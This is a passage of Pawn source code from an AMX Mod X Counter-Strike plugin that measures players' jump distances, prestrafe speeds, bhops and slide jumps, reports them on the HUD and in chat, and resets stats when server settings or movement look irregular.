static bool:failed_ducking[33];
static bool:first_frame[33];
static Float:duckoff_time[33];
static Float:duckoff_origin[33][3], Float:pre_jumpoff_origin[33][3];
static Float:jumpoff_foot_height[33];
static Float:prest[33],Float:prest1[33],Float:jumpoff_origin[33][3],Float:failed_velocity[33][3],Float:failed_origin[33][3];
static Float:frame_origin[33][2][3], Float:frame_velocity[33][2][3], Float:jumpoff_time[33], Float:last_land_time[33];
new entlist1[1];
weapSpeedOld[id] = weapSpeed[id];
if( g_reset[id] ==true)
{
angles_arry[id]=0;
dd_sync[id]=0;
g_reset[id] = false;
g_Jumped[id] = false;
cjjump[id] =false;
in_air[id] = false;
in_duck[id] = false;
in_bhop[id] = false;
ducks[id]=0;
first_duck_z[id]=0.0;
backwards[id]=false;
dropaem[id]=false;
failed_jump[id] = false;
prest[id]=0.0;
bug_true[id]=false;
detecthj[id]=0;
edgedone[id]=false;
jumpblock[id]=1000;
schetchik[id]=0;
CjafterJump[id]=0;
upBhop[id]=false;
old_type_dropbj[id]=Type_Null;
first_surf[id]=false;
surf[id]=0.0;
ddbeforwj[id]=false;
duckstring[id]=false;
notjump[id]=false;
frames_gained_speed[id] = 0;
frames[id] = 0;
strafe_num[id] = 0;
ladderjump[id]=false;
started_multicj_pre[id] = false;
started_cj_pre[id] = false;
jumpoffirst[id]=false;
jump_type[id] = Type_None;
gBeam_count[id] = 0;
edgedist[id]=0.0;
oldjump_height[id]=0.0;
jheight[id]=0.0;
duckbhop_bug_pre[id]=false;
FullJumpFrames[id]=0;
direct_for_strafe[id]=0;
ddstandcj[id]=false;
for( new i = 0; i < 100; i++ )
{
gBeam_points[id][i][0] = 0.0;
gBeam_points[id][i][1] = 0.0;
gBeam_points[id][i][2] = 0.0;
gBeam_duck[id][i] = false;
gBeam_button[id][i]=false;
}
Checkframes[id]=false;
for(new i=0;i<NSTRAFES;i++)
{
type_button_what[id][i]=0;
if(uq_istrafe)
lost_frame_count[id][i]=0;
}
if(uq_istrafe)
{
for(new i=0;i<=line_erase_strnum[id];i++)
{
for( new j = 0; j <= line_erase[id][i]; j++ )
{
if(i<NSTRAFES && j<NVAR)
line_lost[id][i][j]=0;
}
}
}
}
static button, oldbuttons, flags;
pev(id, pev_maxspeed, weapSpeed[id]);
pev(id, pev_origin, origin);
button = pev(id, pev_button );
flags = pev(id, pev_flags );
oldbuttons = pev( id, pev_oldbuttons );
static Float:fGravity,Pmaxspeed;
pev(id, pev_gravity, fGravity);
Pmaxspeed=pev( id, pev_maxspeed );
new Float:velocity[3];
pev(id, pev_velocity, velocity);
movetype[id] = pev(id, pev_movetype);
if( flags&FL_ONGROUND && flags&FL_INWATER )
velocity[2] = 0.0;
if( velocity[2] != 0 )
velocity[2]-=velocity[2];
speed[id] = vector_length(velocity);
new is_spec_user[33];
for( new i = INFO_ONE; i < max_players; i++ )
{
is_spec_user[i]=is_user_spectating_player(i, id);
}
if(strafe_num[id]>NSTRAFES1)
{
g_reset[id]=true;
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
set_hudmessage( 255, 255, 255, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_STR1",NSTRAFES1,strafe_num[id]);
}
}
return FMRES_IGNORED;
}
if((button&IN_RIGHT || button&IN_LEFT) && !(flags&FL_ONGROUND))
{
for(new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
client_print(i,print_center,"%L",LANG_SERVER,"UQSTATS_STR2");
JumpReset(id,28);
return FMRES_IGNORED;
}
}
}
new airace,aircj;
if(uq_airaccel<=10 && uq_airaccel!=1)
{
if(uq_airaccel==0)
airace=10;
else
airace=uq_airaccel;
aircj=0;
formatex(airacel[id],32,"");
}
else
{
if(uq_airaccel==1)
{
airace=100;
formatex(airacel[id],32,"(100aa)");
}
else
{
airace=uq_airaccel;
formatex(airacel[id],32,"(%daa)",uq_airaccel);
}
aircj=10;
}
new spd;
if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
{
spd=1400;
}
else spd=450;
if(speed[id]> spd || weapSpeedOld[id] != weapSpeed[id])
{
if(weapSpeedOld[id] != weapSpeed[id])
{
changetime[id]=get_gametime();
}
JumpReset(id,29);
return FMRES_IGNORED;
}
if(leg_settings==1 && (get_pcvar_num(edgefriction) != 2 || fGravity != 1.0 || get_pcvar_num(mp_footsteps) != 1
|| get_pcvar_num(sv_cheats) != 0
|| get_pcvar_num(sv_gravity) != 800
|| get_pcvar_num(sv_airaccelerate) != airace
|| get_pcvar_num(sv_maxspeed) != 320
|| get_pcvar_num(sv_stepsize) != 18
|| get_pcvar_num(sv_maxvelocity) != 2000
|| pev(id, pev_waterlevel) >= 2 ))
{
JumpReset(id,99);
return FMRES_IGNORED;
}
if(!(button&IN_MOVELEFT)
&& oldbuttons&IN_MOVELEFT)
{
preessbutton[id]=false;
button_what[id]=0;
}
else if(oldbuttons&IN_MOVERIGHT
&& !(button&IN_MOVERIGHT))
{
button_what[id]=0;
preessbutton[id]=false;
}
else if(oldbuttons&IN_BACK
&& !(button&IN_BACK))
{
preessbutton[id]=false;
button_what[id]=0;
}
else if(oldbuttons&IN_FORWARD
&& !(button&IN_FORWARD))
{
preessbutton[id]=false;
button_what[id]=0;
}
if( !(flags&FL_ONGROUND) )
{
last_land_time[id] = get_gametime();
jof[id]=0.0;
}
if(bhopaem[id]==true && !(flags&FL_ONGROUND) && movetype[id] != MOVETYPE_FLY)
{
bhopaemtime[id]=get_gametime();
}
else if(bhopaem[id]==true && flags&FL_ONGROUND && get_gametime()-bhopaemtime[id]>0.1 && movetype[id] != MOVETYPE_FLY)
{
bhopaem[id]=false;
}
if(nextbhop[id]==true && flags&FL_ONGROUND && first_ground_bhopaem[id]==false)
{
first_ground_bhopaem[id]=true;
ground_bhopaem_time[id]=get_gametime();
}
else if(nextbhop[id]==true && !(flags&FL_ONGROUND) && first_ground_bhopaem[id]==true && movetype[id] != MOVETYPE_FLY)
{
first_ground_bhopaem[id]=false;
}
if(nextbhop[id]==true && flags&FL_ONGROUND && first_ground_bhopaem[id]==true && (get_gametime()-ground_bhopaem_time[id]>0.1) && movetype[id] != MOVETYPE_FLY)
{
first_ground_bhopaem[id]=false;
bhopaem[id]=false;
nextbhop[id]=false;
}
if(nextbhop[id]==true && !(flags&FL_ONGROUND) && movetype[id] != MOVETYPE_FLY)
{
nextbhoptime[id]=get_gametime();
}
if(nextbhop[id]==true && flags&FL_ONGROUND && get_gametime()-nextbhoptime[id]>0.1 && movetype[id] != MOVETYPE_FLY)
{
nextbhop[id]=false;
}
if(flags & FL_ONGROUND && h_jumped[id]==false && movetype[id] != MOVETYPE_FLY)
{
heightoff_origin[id]=0.0;
}
if(!g_Jumped[id] && flags & FL_ONGROUND && button&IN_BACK && backwards[id]==false)
{
backwards[id]=true;
}
else if(!g_Jumped[id] && flags & FL_ONGROUND && button&IN_FORWARD && backwards[id])
{
backwards[id]=false;
}
if(flags & FL_ONGROUND && button&IN_JUMP && !(oldbuttons&IN_JUMP) && movetype[id] != MOVETYPE_FLY)
{
if(is_user_ducking(id))
{
heightoff_origin[id]=origin[2]+18;
}
else heightoff_origin[id]=origin[2];
h_jumped[id]=true;
}
else if(flags & FL_ONGROUND && h_jumped[id] && movetype[id] != MOVETYPE_FLY)
{
new Float:heightland_origin;
if(is_user_ducking(id))
{
heightland_origin=origin[2]+18;
}
else heightland_origin=origin[2];
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(height_show[i]==true )
{
if(heightland_origin-heightoff_origin[id]==0.0)
{
set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH1");
}
else if(heightland_origin-heightoff_origin[id]>0.0)
{
set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH2",heightland_origin-heightoff_origin[id]);
}
else if(heightland_origin-heightoff_origin[id]<0.0)
{
set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH3",floatabs(heightland_origin-heightoff_origin[id]));
}
}
}
}
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(height_show[i]==true )
{
if(heightland_origin-heightoff_origin[id]==0.0)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH1");
}
else if(heightland_origin-heightoff_origin[id]>0.0)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH2",heightland_origin-heightoff_origin[id]);
}
else if(heightland_origin-heightoff_origin[id]<0.0)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH3",floatabs(heightland_origin-heightoff_origin[id]));
}
}
}
}
h_jumped[id]=false;
}
if((movetype[id] != MOVETYPE_FLY))
{
if(firstfr[id]==false)
{
firstfr[id]=true;
pev(id, pev_velocity, velocity);
pev(id, pev_origin, origin);
if((g_Jumped[id]==true || !(flags&FL_ONGROUND)))
{
firstvel[id]=velocity[2];
}
firstorig[id]=origin;
}
else if(firstfr[id]==true )
{
pev(id, pev_origin, origin);
pev(id, pev_velocity, velocity);
secorig[id]=origin;
if((g_Jumped[id]==true || !(flags&FL_ONGROUND)))
{
secvel[id]=velocity[2];
}
firstfr[id]=false;
}
if(!(flags&FL_ONGROUND) && first_air[id]==false)
{
framecount[id]++;
if(framecount[id]==2)
{
first_air[id]=true;
}
SurfFrames[id]=floatabs(firstvel[id]-secvel[id]);
if(floatabs(firstvel[id]-secvel[id])>41)
{
SurfFrames[id]=oldSurfFrames[id];
}
oldSurfFrames[id]=SurfFrames[id];
}
if(flags&FL_ONGROUND && first_air[id]==true)
{
first_air[id]=false;
framecount[id]=0;
}
if(!(flags&FL_ONGROUND) && SurfFrames[id]<7.9 && uq_fps==1 && fps_hight[id]==false)
{
fps_hight[id]=true;
}
if((flags&FL_ONGROUND) && SurfFrames[id]>7.9 && fps_hight[id])
{
fps_hight[id]=false;
}
if(!(flags&FL_ONGROUND) && 1.7*floatabs(firstvel[id]-secvel[id])<SurfFrames[id] && floatabs(firstvel[id]-secvel[id])!=4.0)
{
if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
{
slide[id]=true;
}
else if(!ladderjump[id] && movetype[id] != MOVETYPE_FLY)
{
find_sphere_class (id, "func_ladder",200.0, entlist1, 1);
if(!entlist1[0])
{
JumpReset(id,30);
slide_protec[id]=true;
return FMRES_IGNORED;
}
}
}
else
{
if(slide[id]==true && ((oldbuttons&IN_MOVELEFT && button&IN_MOVERIGHT) || (oldbuttons&IN_MOVERIGHT && button&IN_MOVELEFT)))
{
if(touch_ent[id])
{
JumpReset(id,102);
}
if(task_exists(id)) remove_task(id);
set_task(1.5,"JumpReset1", id);
pev(id, pev_origin, origin);
slidim[id]=true;
jump_type[id]=Type_Slide;
g_Jumped[id] = true;
prestrafe[id] = speed[id];
if(showpre[id]==true)
{
set_hudmessage(255,255, 255, -1.0, 0.85, 0, 0.0, 0.7, 0.1, 0.1, 2);
show_hudmessage(id, "Slide pre: %.03f",speed);
}
slide[id]=false;
}
}
firstorig[id][2]=0.0;
secorig[id][2]=0.0;
if((slidim[id]==true || slide[id]==true) && get_distance_f(firstorig[id],secorig[id])>20.0)
{
groundslide[id]=0.0;
waits[id]=0;
slidim[id]=false;
taskslide[id]=0;
failslide[id]=false;
slide[id]=false;
g_Jumped[id] = false;
return FMRES_IGNORED;
}
if((g_Jumped[id]==true || h_jumped[id]) && get_distance_f(firstorig[id],secorig[id])>6.0)
{
h_jumped[id]=false;
JumpReset(id,31);
return FMRES_IGNORED;
}
}
if(slidim[id]==true)
{
//if(Pmaxspeed != 250.0)
//{
// client_print(id,print_center,"Slide works only withs weapons 250.0 speed");
// return FMRES_IGNORED;
//}
pev(id, pev_origin, origin);
new Float:start[33][3],Float:end[33][3];
start[id][0]=origin[0];
start[id][1]=origin[1]+16.0;
start[id][2]=origin[2];
end[id][0]=origin[0];
end[id][1]=origin[1]+16.0;
end[id][2]=origin[2]-500.0;
engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, slidez[id][0]);
start[id][0]=origin[0];
start[id][1]=origin[1]-16.0;
start[id][2]=origin[2];
end[id][0]=origin[0];
end[id][1]=origin[1]-16.0;
end[id][2]=origin[2]-500.0;
engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, slidez[id][1]);
start[id][0]=origin[0]+16.0;
start[id][1]=origin[1];
start[id][2]=origin[2];
end[id][0]=origin[0]+16.0;
end[id][1]=origin[1];
end[id][2]=origin[2]-500.0;
engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, slidez[id][2]);
start[id][0]=origin[0]-16.0;
start[id][1]=origin[1];
start[id][2]=origin[2];
end[id][0]=origin[0]-16.0;
end[id][1]=origin[1];
end[id][2]=origin[2]-500.0;
engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, slidez[id][3]);
for(new i=0;i<4;i++)
{
if(i!=3)
{
if(slidez[id][i][2]>slidez[id][i+1][2])
{
needslide[id]=slidez[id][i][2];
groundslide[id]=slidez[id][i+1][2];
if(needslide[id]-groundslide[id]>149.0 && landslide[id]==false)
{
landslide[id]=true;
pev(id, pev_origin, origin);
if( !(is_user_ducking(id)) )
{
origin[2]-=36.0;
}
else origin[2]-=18.0;
slideland[id]=origin[2];
slidedist[id]=slideland[id]-groundslide[id];
maxspeed[id]=speed[id];
}
}
}
}
if(taskslide[id]==0)
{
set_task(0.4,"wait", id+3313);
taskslide[id]=1;
}
pev(id, pev_velocity, velocity);
if(velocity[1]==0.0 && failslide[id]==false && !(flags&FL_ONGROUND) && waits[id]==1 )
{
if( !(is_user_ducking(id)) )
{
origin[2]-=36.0;
}
else origin[2]-=18.0;
failslidez[id]=origin[2];
failslide[id]=true;
}
}
if(flags&FL_ONGROUND && slidim[id]==true && Pmaxspeed == 250.0)
{
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
{
if(needslide[id]-groundslide[id]==slidedist[id])
{
client_print(i, print_console, "Slide Distance: %d.xxx",floatround(slidedist[id], floatround_floor));
set_hudmessage( stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "Slide Distance: %d.xxx",floatround(slidedist[id], floatround_floor));
}
else
{
client_print(i, print_console, "Slide Distance: %f",slidedist[id]);
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "Slide Distance: %f",slidedist[id]);
}
}
}
new iPlayers[32],iNum;
get_players ( iPlayers, iNum,"ch") ;
for(new i=0;i<iNum;i++)
{
new ids=iPlayers[i];
if(gHasColorChat[ids] ==true || ids==id)
{
if(needslide[id]-groundslide[id]==slidedist[id])
{
ColorChat(ids, GREY, "[%s] %s jumped %d.xxx units with Slide lj!^x01%s",prefix, g_playername[id], floatround(slidedist[id], floatround_floor),airacel[id]);
}
else
ColorChat(ids, GREY, "[%s] %s jumped %.3f units with Slide lj!^x01%s",prefix, g_playername[id], slidedist[id],airacel[id]);
}
}
slidim[id]=false;
groundslide[id]=0.0;
waits[id]=0;
slidim[id]=false;
taskslide[id]=0;
taskslide1[id]=0;
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte ( TE_BEAMPOINTS );
write_coord(floatround(origin[0]));
write_coord(floatround(origin[1]));
write_coord(floatround(slideland[id]));
write_coord(floatround(origin[0]));
write_coord(floatround(origin[1]+52.0));
write_coord(floatround(slideland[id]));
write_short(gBeam);
write_byte(1);
write_byte(5);
write_byte(1130);
write_byte(20);
write_byte(0);
write_byte(255);
write_byte(0);
write_byte(0);
write_byte(200);
write_byte(200);
message_end();
landslide[id]=false;
}
if((failslide[id]==true) && slidim[id]==true)
{
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
{
client_print(i, print_console, "Slide Distance: %f Prestrafe: %f",failslidez[id]-groundslide[id],prestrafe[id]);
set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "Slide Distance: %f^nPrestrafe: %f",failslidez[id]-groundslide[id],prestrafe[id]);
}
}
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte ( TE_BEAMPOINTS );
write_coord(floatround(origin[0]));
write_coord(floatround(origin[1]));
write_coord(floatround(failslidez[id]));
write_coord(floatround(origin[0]));
write_coord(floatround(origin[1]+52.0));
write_coord(floatround(failslidez[id]));
write_short(gBeam);
write_byte(1);
write_byte(5);
write_byte(1130);
write_byte(20);
write_byte(0);
write_byte(255);
write_byte(0);
write_byte(0);
write_byte(200);
write_byte(200);
message_end();
failslide[id]=false;
slidim[id]=false;
groundslide[id]=0.0;
waits[id]=0;
taskslide[id]=0;
taskslide1[id]=0;
}
if( (in_air[id]==true || in_bhop[id] == true) && !(flags&FL_ONGROUND) )
{
static i;
for( i = INFO_ZERO; i < 2; i++ )
{
if( (i == 1)
|| (frame_origin[id][i][0] == 0
&& frame_origin[id][i][1] == 0
&& frame_origin[id][i][2] == 0
&& frame_velocity[id][i][0] == 0
&& frame_velocity[id][i][1] == 0
&& frame_velocity[id][i][2] == 0 ))
{
frame_origin[id][i][0] = origin[0];
frame_origin[id][i][1] = origin[1];
frame_origin[id][i][2] = origin[2];
pev(id, pev_velocity, velocity);
frame_velocity[id][i][0] = velocity[0];
frame_velocity[id][i][1] = velocity[1];
frame_velocity[id][i][2] = velocity[2];
i=2;
}
}
}
if( (in_air[id]) && !( flags & FL_ONGROUND ) && !failed_jump[id])
{
if(uq_script_detection)
{
new Float:angles[3];
pev(id,pev_angles,angles);
if(floatabs(angles[0]-old_angles[id][0])==0.0)
{
angles_arry[id]++;
}
//if()
//{
// angles_arry1[id]++;
//}
//client_print(id,print_chat,"%f",floatabs(vector_length(angles)-vector_length(old_angles[id])));
old_angles[id]=angles;
}
new Float:jh_origin;
jh_origin=origin[2];
if(floatabs(jumpoff_origin[id][2]-jh_origin)<oldjump_height[id] && jheight[id]==0.0)
{
if(is_user_ducking(id))
{
jheight[id]=oldjump_height[id]+18.0;
}
else jheight[id]=oldjump_height[id];
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(jheight_show[i]==true )
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE39",jheight[id]);
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_PRE39",jheight[id]);
}
}
}
if(!direct_for_strafe[id])
{
if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
direct_for_strafe[id]=1;
}
else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
direct_for_strafe[id]=2;
}
else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
direct_for_strafe[id]=3;
}
else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
direct_for_strafe[id]=4;
}
}
}
oldjump_height[id]=floatabs(jumpoff_origin[id][2]-origin[2]);
if(bug_check[id]==0 && floatfract(velocity[2])==0)
{
bug_check[id]=1;
}
else if(bug_check[id]==1 && floatfract(velocity[2])==0)
{
bug_true[id]=true;
bug_check[id]=0;
}
if( !in_bhop[id] )
{
fnSaveBeamPos( id );
}
static Float:old_speed[33];
if( speed[id] > old_speed[id] )
{
frames_gained_speed[id]++;
}
frames[id]++;
old_speed[id] = speed[id];
if( speed[id] > maxspeed[id] )
{
if (strafe_num[id] < NSTRAFES)
{
strafe_stat_speed[id][strafe_num[id]][0] += speed[id] - maxspeed[id];
}
maxspeed[id] = speed[id];
}
if ((speed[id] < TempSpeed[id]) && (strafe_num[id] < NSTRAFES))
{
strafe_stat_speed[id][strafe_num[id]][1] += TempSpeed[id] - speed[id];
if(strafe_stat_speed[id][strafe_num[id]][1]>5)
{
if(floatabs(firstvel[id]-secvel[id])<SurfFrames[id]-0.1)
{
Checkframes[id]=true;
}
else if(floatabs(firstvel[id]-secvel[id])>SurfFrames[id])
{
Checkframes[id]=true;
}
}
}
TempSpeed[id] = speed[id];
if((origin[2] + 18.0 - jumpoff_origin[id][2] < 0))
{
failed_jump[id] = true;
}
else if( (is_user_ducking(id) ? (origin[2]+18) : origin[2]) >= jumpoff_origin[id][2] )
{
failed_origin[id] = origin;
failed_ducking[id] = is_user_ducking( id );
failed_velocity[id] = velocity;
origin[2] = pre_jumpoff_origin[id][2];
}
if( first_frame[id] )
{
first_frame[id] = false;
frame_velocity[id][0] = velocity;
gBeam_count[id] = 0;
for( new i = 0; i < 100; i++ )
{
gBeam_points[id][i][0] = 0.0;
gBeam_points[id][i][1] = 0.0;
gBeam_points[id][i][2] = 0.0;
gBeam_duck[id][i] = false;
gBeam_button[id][i]=false;
}
if(in_bhop[id] && jump_type[id]!=Type_DuckBhop)
{
if(upBhop[id])
{
if(jump_type[id]==Type_Up_Bhop_In_Duck)
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_UBID");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_UBID");
}
else if(velocity[2] < upbhop_koeff[id])
{
jump_type[id]=Type_Up_Bhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_UBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_UBJ");
}
else
{
jump_type[id]=Type_Up_Stand_Bhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_USBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_USBJ");
}
upBhop[id]=false;
}
else if(jump_type[id]==Type_Bhop_In_Duck)
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_BID");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_BID");
}
else if( velocity[2] < 229.0)
{
jump_type[id] = Type_BhopLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_BJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_BJ");
}
else
{
jump_type[id] = Type_StandupBhopLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SBJ");
jumpoff_origin[id][2] = pre_jumpoff_origin[id][2];
}
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(showpre[i]==true && prestrafe[id]>min_prestrafe[id])
{
if((Pmaxspeed * 1.2)>prestrafe[id] )
{
if(jump_type[id]==Type_Up_Bhop_In_Duck && (uq_upbhopinduck==1 ))
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE33",prestrafe[id]);
}
else if(jump_type[id]==Type_Up_Bhop && (uq_upbj==1 ))
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE34",prestrafe[id]);
}
else if(jump_type[id]==Type_Up_Stand_Bhop && (uq_upsbj==1 ))
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE35",prestrafe[id]);
}
else if(jump_type[id]==Type_Bhop_In_Duck && uq_bhopinduck==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE36",prestrafe[id]);
}
else if(jump_type[id]==Type_BhopLongJump && uq_bj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE37",prestrafe[id]);
}
else if(jump_type[id]==Type_StandupBhopLongJump && uq_sbj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE38",prestrafe[id]);
}
}
else
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
}
}
}
}
}
else if(jump_type[id]==Type_DuckBhop)
{
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(showpre[i]==true && speed[id]>50.0)
{
if((Pmaxspeed * 1.2)>speed[id] )
{
if(prestrafe[id]<200)
{
if(jump_type[id]==Type_DuckBhop && (uq_duckbhop==1))
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE32",prestrafe[id]);
}
}
}
}
}
}
}
}
else
{
frame_velocity[id][1] = velocity;
}
if( in_bhop[id] )
fnSaveBeamPos( id );
if(detecthj[id]!=1)
{
starthj[id][0] = origin[0];
starthj[id][1] = origin[1];
starthj[id][2] = jumpoff_origin[id][2]+28.0;
stophj[id][0] = origin[0];
stophj[id][1] = origin[1];
stophj[id][2] = starthj[id][2] - 133.0;
engfunc( EngFunc_TraceLine, starthj[id], stophj[id], IGNORE_MONSTERS, id, 0 );
get_tr2( 0, TR_vecEndPos, endhj[id]);
if(starthj[id][2]-endhj[id][2]<133.0 && (starthj[id][2]-endhj[id][2]-64)!=0 && (starthj[id][2]-endhj[id][2]-64)>0 && detecthj[id]!=1)
{
detecthj[id]=2;
}
if(starthj[id][2]-endhj[id][2]>=133.0 && detecthj[id]!=2)
{
detecthj[id]=1;
}
}
if(ddafterJump[id])
ddafterJump[id]=false;
}
if(notjump[id] && bhopaem[id])
{
notjump[id]=false;
}
if( flags&FL_ONGROUND )
{
surf[id]=0.0;
if (!pev( id, pev_solid ))
{
static ClassName[32];
pev(pev(id, pev_groundentity), pev_classname, ClassName, 32);
if( equali(ClassName, "func_train")
|| equali(ClassName, "func_conveyor")
|| equali(ClassName, "trigger_push") || equali(ClassName, "trigger_gravity"))
{
JumpReset(id,32);
set_task(0.4,"JumpReset1", id);
}
else if(equali(ClassName, "func_door") || equali(ClassName, "func_door_rotating") )
{
JumpReset(id,33);
set_task(0.4,"JumpReset1", id);
}
}
pev(id, pev_origin, origin);
notjump[id]=true;
if(is_user_ducking(id))
{
falloriginz[id]=origin[2]+18;
}
else falloriginz[id]=origin[2];
if( OnGround[id] == false)
{
if (dropbhop[id] || in_ladder[id] || jump_type[id] == Type_WeirdLongJump || jump_type[id]==Type_ladderBhop || jump_type[id]==Type_Drop_BhopLongJump)
{
FallTime[id]=get_gametime();
}
OnGround[id] = true;
}
}
if( !(flags&FL_ONGROUND) && notjump[id]==true && (movetype[id] != MOVETYPE_FLY) && jump_type[id]!=Type_ladderBhop )//&& jump_type[id] != Type_Drop_CountJump)
{
pev(id, pev_origin, origin);
OnGround[id] = false;
pev(id, pev_velocity, velocity);
new Float:tempfall;
if(is_user_ducking(id))
{
tempfall=origin[2]+18;
}
else tempfall=origin[2];
if( falloriginz[id]-tempfall>1.0 && !cjjump[id] && (ddforcj[id] || jump_type[id] == Type_Drop_CountJump || jump_type[id] == Type_StandUp_CountJump || jump_type[id] == Type_None || jump_type[id] == Type_CountJump || jump_type[id] == Type_Multi_CountJump || jump_type[id] == Type_Double_CountJump))
{
oldjump_type[id]=0;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
if(ddforcj[id])
ddforcj[id]=false;
jump_type[id] = Type_WeirdLongJump;
}
if (velocity[2] == -240.0)
{
oldjump_type[id]=0;
ddbeforwj[id]=true;
jump_type[id] = Type_WeirdLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DDWJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DDWJ");
}
}
else if(!(flags&FL_ONGROUND) && notjump[id]==false && (movetype[id] != MOVETYPE_FLY) && in_ladder[id]==false && jump_type[id] != Type_Slide)
{
oldjump_type[id]=0;
OnGround[id] = false;
